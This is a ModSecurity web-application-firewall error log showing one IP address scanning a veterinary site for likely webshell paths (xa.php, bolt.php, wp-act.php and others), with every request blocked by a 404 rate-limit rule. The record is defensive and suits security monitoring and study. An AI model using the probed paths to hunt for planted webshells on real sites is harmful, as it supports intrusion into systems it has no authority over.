[Tue Apr 28 06:27:01.273557 2026] [:error] [pid 14578:tid 14619] [client 4.232.90.232:40538] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "ae_itengo3AwIJgfSHENxAAAAEY"]
[Tue Apr 28 06:27:01.879839 2026] [:error] [pid 14579:tid 14652] [client 4.232.90.232:19471] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "ae_itRrUiOG83qKKuuD0-wAAAIw"]
[Tue Apr 28 06:27:02.444422 2026] [:error] [pid 14577:tid 14602] [client 4.232.90.232:11720] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "ae_itizBH-jwzlgiBdG5ngAAABA"]
[Tue Apr 28 06:27:02.982778 2026] [:error] [pid 14579:tid 14649] [client 4.232.90.232:19504] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xa.php"] [unique_id "ae_ithrUiOG83qKKuuD0_QAAAIk"]
[Tue Apr 28 06:27:03.652305 2026] [:error] [pid 14577:tid 14598] [client 4.232.90.232:36490] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "ae_ityzBH-jwzlgiBdG5pgAAAAw"]
[Tue Apr 28 06:27:04.338716 2026] [:error] [pid 14578:tid 14622] [client 4.232.90.232:13525] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "ae_iuOngo3AwIJgfSHENzgAAAEk"]
[Tue Apr 28 06:27:05.262142 2026] [:error] [pid 14578:tid 14627] [client 4.232.90.232:7254] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "ae_iuengo3AwIJgfSHEN1gAAAE4"]
[Tue Apr 28 06:27:05.759786 2026] [:error] [pid 14577:tid 14608] [client 4.232.90.232:11266] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "ae_iuSzBH-jwzlgiBdG5qQAAABY"]
[Tue Apr 28 06:27:06.352080 2026] [:error] [pid 14577:tid 14594] [client 4.232.90.232:36487] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "ae_iuizBH-jwzlgiBdG5rwAAAAg"]
[Tue Apr 28 06:27:07.036179 2026] [:error] [pid 6746:tid 6758] [client 4.232.90.232:13531] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "ae_iu7uStsbXtMDpzS-bFwAAAUo"]
[Tue Apr 28 06:27:07.574320 2026] [:error] [pid 14578:tid 14626] [client 4.232.90.232:40542] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "ae_iu-ngo3AwIJgfSHEN4gAAAE0"]
[Tue Apr 28 06:27:08.441738 2026] [:error] [pid 14577:tid 14593] [client 4.232.90.232:22691] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inege.php"] [unique_id "ae_ivCzBH-jwzlgiBdG5sgAAAAc"]
[Tue Apr 28 06:27:09.296312 2026] [:error] [pid 14686:tid 14689] [client 4.232.90.232:19467] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ae_ive-YPF1Xm7uiWQ4y8QAAAMA"]
[Tue Apr 28 06:27:09.924746 2026] [:error] [pid 14578:tid 14620] [client 4.232.90.232:11730] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ae_ivengo3AwIJgfSHEN9gAAAEc"]
[Tue Apr 28 06:27:10.488504 2026] [:error] [pid 14577:tid 14588] [client 4.232.90.232:11275] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ae_ivizBH-jwzlgiBdG5vgAAAAI"]
[Tue Apr 28 06:27:11.057143 2026] [:error] [pid 6746:tid 6759] [client 4.232.90.232:11280] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ae_iv7uStsbXtMDpzS-bSwAAAUs"]
[Tue Apr 28 06:27:11.769529 2026] [:error] [pid 6746:tid 6762] [client 4.232.90.232:11734] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "ae_iv7uStsbXtMDpzS-bUwAAAU4"]
[Tue Apr 28 06:27:12.447863 2026] [:error] [pid 6746:tid 6768] [client 4.232.90.232:11316] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "ae_iwLuStsbXtMDpzS-bVwAAAVQ"]
[Tue Apr 28 06:27:13.088010 2026] [:error] [pid 56602:tid 56622] [client 4.232.90.232:11863] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "ae_iwfCwhMxzNW_lZSw6HwAAARI"]
[Tue Apr 28 06:27:13.797086 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:22673] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no1.php"] [unique_id "ae_iwengo3AwIJgfSHEOEgAAAFQ"]
[Tue Apr 28 06:27:14.585855 2026] [:error] [pid 14579:tid 14649] [client 4.232.90.232:11272] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "ae_iwhrUiOG83qKKuuD1HgAAAIk"]
[Tue Apr 28 06:27:15.215110 2026] [:error] [pid 14578:tid 14637] [client 4.232.90.232:11717] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "ae_iw-ngo3AwIJgfSHEOFwAAAFg"]
[Tue Apr 28 06:27:15.936286 2026] [:error] [pid 14577:tid 14594] [client 4.232.90.232:19483] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "ae_iwyzBH-jwzlgiBdG5zgAAAAg"]
[Tue Apr 28 06:27:16.442093 2026] [:error] [pid 14577:tid 14598] [client 4.232.90.232:13545] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w2025.php"] [unique_id "ae_ixCzBH-jwzlgiBdG50wAAAAw"]
[Tue Apr 28 06:27:17.043938 2026] [:error] [pid 14577:tid 14596] [client 4.232.90.232:12998] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fvvff.php"] [unique_id "ae_ixSzBH-jwzlgiBdG51gAAAAo"]
[Tue Apr 28 06:27:17.668903 2026] [:error] [pid 14577:tid 14586] [client 4.232.90.232:13545] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fvvff.php"] [unique_id "ae_ixSzBH-jwzlgiBdG53gAAAAA"]
[Tue Apr 28 06:27:49.471574 2026] [:error] [pid 14577:tid 14589] [client 4.232.90.232:36515] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ae_i5SzBH-jwzlgiBdG6dQAAAAM"]
[Tue Apr 28 06:27:50.397997 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:11727] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ae_i5ungo3AwIJgfSHEOawAAAFQ"]
[Tue Apr 28 06:27:51.061426 2026] [:error] [pid 6746:tid 6767] [client 4.232.90.232:19502] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ae_i57uStsbXtMDpzS-blQAAAVM"]
[Tue Apr 28 06:27:52.005409 2026] [:error] [pid 6746:tid 6770] [client 4.232.90.232:40567] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ae_i6LuStsbXtMDpzS-bpAAAAVY"]
[Tue Apr 28 06:27:53.071308 2026] [:error] [pid 14578:tid 14626] [client 4.232.90.232:11270] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "ae_i6engo3AwIJgfSHEOfgAAAE0"]
[Tue Apr 28 06:27:53.891343 2026] [:error] [pid 14578:tid 14619] [client 4.232.90.232:7258] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "ae_i6engo3AwIJgfSHEOhgAAAEY"]
[Tue Apr 28 06:27:55.254304 2026] [:error] [pid 56602:tid 56623] [client 4.232.90.232:36498] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "ae_i6_CwhMxzNW_lZSw6ZgAAARM"]
[Tue Apr 28 06:27:55.968744 2026] [:error] [pid 14578:tid 14632] [client 4.232.90.232:7292] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "ae_i6-ngo3AwIJgfSHEOkgAAAFM"]
[Tue Apr 28 06:27:56.839836 2026] [:error] [pid 14578:tid 14616] [client 4.232.90.232:11745] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ae_i7Ongo3AwIJgfSHEOlwAAAEM"]
[Tue Apr 28 06:27:57.393749 2026] [:error] [pid 14578:tid 14627] [client 4.232.90.232:36541] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ae_i7engo3AwIJgfSHEOmgAAAE4"]
[Tue Apr 28 06:27:58.102790 2026] [:error] [pid 56602:tid 56605] [client 4.232.90.232:36524] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ae_i7vCwhMxzNW_lZSw6ZwAAAQE"]
[Tue Apr 28 06:27:59.024770 2026] [:error] [pid 6746:tid 6770] [client 4.232.90.232:11877] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "ae_i77uStsbXtMDpzS-btQAAAVY"]
[Tue Apr 28 06:27:59.653801 2026] [:error] [pid 6746:tid 6748] [client 4.232.90.232:22680] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ae_i77uStsbXtMDpzS-buQAAAUA"]
[Tue Apr 28 06:28:00.359770 2026] [:error] [pid 14579:tid 14654] [client 4.232.90.232:36501] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ae_i8BrUiOG83qKKuuD1TQAAAI4"]
[Tue Apr 28 06:28:00.891168 2026] [:error] [pid 56602:tid 56614] [client 4.232.90.232:19476] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ae_i8PCwhMxzNW_lZSw6awAAAQo"]
[Tue Apr 28 06:28:01.443322 2026] [:error] [pid 14578:tid 14614] [client 4.232.90.232:11765] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "ae_i8engo3AwIJgfSHEOqwAAAEE"]
[Tue Apr 28 06:28:02.129508 2026] [:error] [pid 14577:tid 14602] [client 4.232.90.232:11267] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ae_i8izBH-jwzlgiBdG6fQAAABA"]
[Tue Apr 28 06:28:02.781607 2026] [:error] [pid 14577:tid 14592] [client 4.232.90.232:12993] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ae_i8izBH-jwzlgiBdG6gQAAAAY"]
[Tue Apr 28 06:28:03.587295 2026] [:error] [pid 14579:tid 14642] [client 4.232.90.232:11721] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ae_i8xrUiOG83qKKuuD1TgAAAII"]
[Tue Apr 28 06:28:04.299136 2026] [:error] [pid 14578:tid 14628] [client 4.232.90.232:13510] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "ae_i9Ongo3AwIJgfSHEOrwAAAE8"]
[Tue Apr 28 06:28:05.103670 2026] [:error] [pid 56602:tid 56606] [client 4.232.90.232:7264] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "ae_i9fCwhMxzNW_lZSw6bQAAAQI"]
[Tue Apr 28 06:28:05.844690 2026] [:error] [pid 6746:tid 6760] [client 4.232.90.232:40552] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "ae_i9buStsbXtMDpzS-byAAAAUw"]
[Tue Apr 28 06:28:06.608839 2026] [:error] [pid 14578:tid 14635] [client 4.232.90.232:40532] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "ae_i9ungo3AwIJgfSHEOuwAAAFY"]
[Tue Apr 28 06:28:07.180939 2026] [:error] [pid 14577:tid 14590] [client 4.232.90.232:11897] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "ae_i9yzBH-jwzlgiBdG6qAAAAAQ"]
[Tue Apr 28 06:28:07.815301 2026] [:error] [pid 14577:tid 14602] [client 4.232.90.232:7286] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ae_i9yzBH-jwzlgiBdG6qgAAABA"]
[Tue Apr 28 06:28:08.711519 2026] [:error] [pid 14577:tid 14586] [client 4.232.90.232:11758] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ae_i-CzBH-jwzlgiBdG6rQAAAAA"]
[Tue Apr 28 06:28:09.461896 2026] [:error] [pid 56602:tid 56628] [client 4.232.90.232:7242] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ae_i-fCwhMxzNW_lZSw6eAAAARg"]
[Tue Apr 28 06:28:09.977963 2026] [:error] [pid 14578:tid 14614] [client 4.232.90.232:13047] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ae_i-engo3AwIJgfSHEOxgAAAEE"]
[Tue Apr 28 06:28:10.683058 2026] [:error] [pid 14578:tid 14630] [client 4.232.90.232:13038] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ae_i-ungo3AwIJgfSHEOygAAAFE"]
[Tue Apr 28 06:28:11.297840 2026] [:error] [pid 14579:tid 14644] [client 4.232.90.232:13022] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ae_i-xrUiOG83qKKuuD1TwAAAIQ"]
